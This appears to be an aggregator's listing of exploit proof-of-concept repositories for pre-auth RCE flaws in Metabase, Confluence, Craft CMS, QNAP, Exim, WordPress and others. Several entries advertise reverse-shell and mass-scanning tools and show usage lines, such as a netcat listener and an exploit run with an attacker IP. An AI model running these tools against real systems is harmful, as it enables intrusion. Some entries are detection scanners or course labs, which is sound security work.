CVE-2024-4358

CVE-2024-4358 / CVE-2024-1800 Cadena de explotación de deserialización y omisión de autenticación en Telerik Report Server para CVE-2024-4358/CVE-2024-1800 Análisis técnico Un análisis de causa raíz de la vulnerabilidad se encuentra en mi blog poc Resumen ¿Versiones compatibles? Básicamente todas...

CVE-2024-9441

Nortek Linear eMerge E3 预认证 RCE PoC CVE-2024-9441 描述: 该仓库包含针对 Nortek Linear eMerge E3 CVE-2024-9441 的概念验证 PoC 漏洞利用代码，该设备在预认证状态下存在 远程代码执行 RCE 漏洞。该漏洞由密码恢复功能中的缺陷触发，攻击者可借此向系统注入恶意 PHP 代码，从而导致任意代码执行。 此 PoC 可让您: 通过发送特制请求来利用该漏洞。 在目标系统上执行任意命令。 使用批量扫描功能，从 IP 和端口列表中扫描多个目标。 使用可自定义的参数 IP、端口、命令等 执行单目标扫描。 漏洞详情:...

CVE-2023-38646

Metabase 预认证RCE POC - CVE-2023-38646 Metabase开源版0.46.6.1之前及Metabase企业版1.46.6.1之前存在漏洞，允许攻击者在服务器上执行任意命令。我直接编写了脚本以在攻击者机器上获取反向shell。 用法 该脚本需要目标URL、攻击者IP和端口。此漏洞利用无需提供设置令牌，因为脚本会尝试从 /api/session/properties 获取它。 确保在攻击者机器上启动netcat监听器，使用以下命令： nc -nlvp Port 运行POC脚本时使用： -u - 目标URL Metabase -ip - 攻击者IP -p - 端...

cve-2019-7192-check

QNAP 预认证根权限远程代码执行漏洞 CVE-2019-7192 CVE-2019-7195 检测工具 使用方法： root@kitploit: pip install requests ./CheckerforQNAPRCEcve2019719295.py /path/to/ip-port.txt 示例输入文件： root@kitploit: 1.2.3.4 8080 2.3.4.5 443 该工具接收一组 QNAP NAS 的 IP 和端口列表，并判断每个设备是否存在以下漏洞： CVE-2019–7192（CVSS 9.8） CVE-2019–7193（CVSS 9.8）...

CVE-2025-55182-poc

CVE-2025-55182 概念验证 React 服务端组件中的关键预认证远程代码执行漏洞 这是一个完整的概念验证，演示了 CVE-2025-55182——[email protected] 中的一个关键漏洞，允许未经身份验证的攻击者通过原型链污染执行任意代码。 快速开始 root@kitploit: Clone the repository git clone https://github.com/whiteov3rflow/CVE-2025-55182-poc cd CVE-2025-55182-poc Exploit the server python3...

Exploiting-a-vulnerability-using-reverse-shell

信息安全基础 — 2026年春季项目 总分：20分 | 截止日期：不接受迟交 概述 本项目模拟了跨两台虚拟机的真实攻击与防御场景。你将利用 Erlang/OTP SSH 服务器中的一个关键预认证 RCE 漏洞（CVE-2025-32433），破解提取的密码哈希，然后通过防火墙规则和补丁加固受害者机器。 角色| 操作系统 ---|--- 攻击者| Kali Linux 受害者| Ubuntu/Debian Erlang/OTP SSH v27.3.2 文件 文件| 描述 ---|--- Debian-1.ova| 预构建的受害者虚拟机镜像 — 需单独下载，参见资源 （因过大无法放在...

CVE-2022-26134

Confluence 预认证远程代码执行（OGNL注入）CVE-2022-26134 Confluence 预认证远程代码执行（OGNL注入）CVE-2022-26134 2022年6月2日，Atlassian 发布了 Confluence Server 和 Data Center 应用的安全公告，强调了一个严重等级的未认证远程代码执行漏洞。该 OGNL 注入漏洞允许未认证用户在 Confluence Server 或 Data Center 实例上执行任意代码。 重要提示 本漏洞利用程序仅供研究者演示漏洞之用。我不建议进行非法操作，也不对任何恶意使用此脚本的行为负责。 • 请求示例...

CVE-2020-0796-SMBGhost-Exploit-Demo

CVE-2020-0796 漏洞利用演示（SMBGhost） 该项目演示了 CVE-2020-0796（又称 SMBGhost）的概念验证 PoC 漏洞利用，这是一个影响使用 SMBv3 的 Windows 10 和 Windows Server 系统的严重未授权远程代码执行漏洞。该项目是学校网络安全项目的一部分。所有漏洞利用代码归功于 ZecOps。我仅出于教育目的使用并改编了这些代码，以在受控实验环境中演示 CVE-2020-0796 的利用。 演示要求 要复现此演示，需要以下设置： 攻击机 VirtualBox（使用 NATNetwork 进行虚拟机网络连接） Windows...

CVE-2025-32432

CVE-2025-32432 Craft CMS 预认证远程代码执行 PoC Craft CMS 中的严重预认证远程代码执行漏洞 受影响版本：Craft CMS 3.x、4.x 及 5.x（最高至 5.6.16） 信息： 此漏洞利用已在 HackTheBox Orion 机器上测试通过 概述 本仓库包含针对 CVE-2025-32432 的概念验证漏洞利用代码，该漏洞是 Craft CMS 中的一个严重预认证远程代码执行漏洞。攻击者无需认证即可利用 Yii2 的行为附件机制以及通过 class 覆盖技术进行 PHP 对象实例化，在服务器上执行任意 PHP 代码。 CVSS...

CVE-2026-64638-PoC-XSS2Shell-

XSS2Shell — WordPress Pre-Auth XSS → RCE Chain PoC CVE-2026-64638 · Reflected XSS on wp-login.php · CVSS 8.9 v4.0 · Patched in WordPress 7.0.3 ⚠️ AUTHORIZED TESTING ONLY. This tool is for security research and authorized penetration testing against systems you own or have explicit written...

CVE-2022-26134

CVE-2022-26134 Atlassian Confluence 中的一个未认证 RCE 漏洞 CVE 摘要 在受影响的 Confluence Server 和 Data Center 版本中，存在一个 OGNL 注入漏洞，该漏洞允许未认证的攻击者在 Confluence Server 或 Data Center 实例上执行任意代码。 受影响版本 Atlassian Confluence Server Atlassian Confluence Data Center 版本 1.3.0 也易受攻击 参考 Github POC - Samy Younsi, 2022年6月3日...

wp2shell-Exploit-Waf-Bypass

root@kitploit: | \ / / / / / | | /| / / \ / // / / / / / | |/ |/ / // // / / / / / / / |/|/////// ///// WordPress RCE sin autenticación — CVE-2026-63030 + CVE-2026-60137 por Venexy M4xSec Ejecución remota de código sin autenticación en WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1. Parcheado...

CVE-2025-54322

CVE-2025-54322 - XSpeeder SXZOS 预认证 RCE 扫描器 一个针对 CVE-2025-54322 的多线程漏洞扫描器，该漏洞是 XSpeeder SXZOS 固件中的未认证远程代码执行漏洞，影响全球约 70,000+ 台主机。 📋 目录 关于漏洞 功能特性 安装 使用方法 输出 免责声明 致谢 作者 🔍 关于漏洞 CVE-2025-54322 是 XSpeeder SXZOS 固件中发现的一个严重预认证远程代码执行漏洞，该固件用于 SD-WAN 设备、路由器和边缘网络设备。 漏洞详情 CVE ID ：CVE-2025-54322 供应商...

CVE-2026-45185

CVE-2026-45185 — Dead.Letter: UAF de heap en Exim a root remoto CVSS 9.8 Crítico | Exim 4.97–4.99.2 | Compilaciones de Ubuntu / GnuTLS | Sin autenticación Informe completo con traza de GDB, análisis paso a paso y datos de exposición global:...

SiteCore-RCE-Detection

SiteCore-RCE-Detection 用于检测 sitecore RCE - CVE-2021-42237 Sitecore Experience Platform 预认证 RCE - CVE-2021-42237 该脚本依赖于 sitecore 版本检测，以及通过 GET 和 POST 向易受攻击的 Report.ashx 发出请求时的响应。 脚本读取一个包含 URL 列表的文件，每行一个 URL，格式为 www.url.com。 用法： root@kitploit: python3 check-for-sitecore-rce.py -h python3...

MetabaseRCE_CVE-2023-38646

Metabase 预认证 RCE CVE-2023-38646 PoC CVE-2023-38646 的概念验证，一种 Metabase 漏洞利用，允许用户利用在 /api/session/properties 中找到的设置令牌发送 base64 编码的有效负载来实现远程代码执行 使用方法 ./MetabaseRCECVE-2023-38646 -u target url -t target token -c command...

CVE-2023-38646

CVE-2023-38646 从kh4sh3i 复刻而来，去除了对 Burp Collector 的依赖。 CVE-2023-38646（Metabase 无预认证远程代码执行漏洞）： Metabase 开源版本 0.46.6.1 之前以及 Metabase Enterprise 1.46.6.1 之前的版本允许攻击者以服务器权限级别在服务器上执行任意命令。利用该漏洞无需认证。 使用方法 python3 CVE-2023-38646.py -u http://target.com -t 349fa13d-fd94-4d9b-b54f-b4ebf2df682f -i 10.10.15.10...

wp2shell-poc

这究竟是如何工作的 本 PoC 与公开的 wp2shell 漏洞利用有何不同 所有 PoC 都利用了相同的两个缺陷 - REST 批量路由混淆（CVE-2026-63030）和 authornotin SQL 注入（CVE-2026-60137）- 并采用相同的双重嵌套批次结构。 它们之间的区别在于所选择的远程代码执行（RCE）路径 、环境前置条件 ， 以及安全默认设置 。本文档具体说明了本仓库中的实现在这一格局中所处的位置。 简要概述 1. 在存在持久化对象缓存时依然有效。 公开的基于 UNION 的 PoC 使用 已填充基集的注入形式：这一系列所共享的全链实现在那里会出现假阴性，...

CVE-2018-16763

CVE 2018-16763 漏洞利用 简介 FUEL CMS 1.4.1 预认证远程代码执行（PreAuth-RCE） 演示 参考： https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CVE-2023-38646

CVE-2023-38646-exploit "该漏洞被编号为 CVE-2023–38646，允许攻击者在无需任何身份验证的情况下在服务器上执行任意命令。" 一个针对 cve-2023-38646 的快速反向 Shell 漏洞利用脚本。 这个漏洞并非我发现的，我只是编写了这个脚本。 使用方法 root@kitploit: root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /| | | | | | | | | |/ /| || | / / |...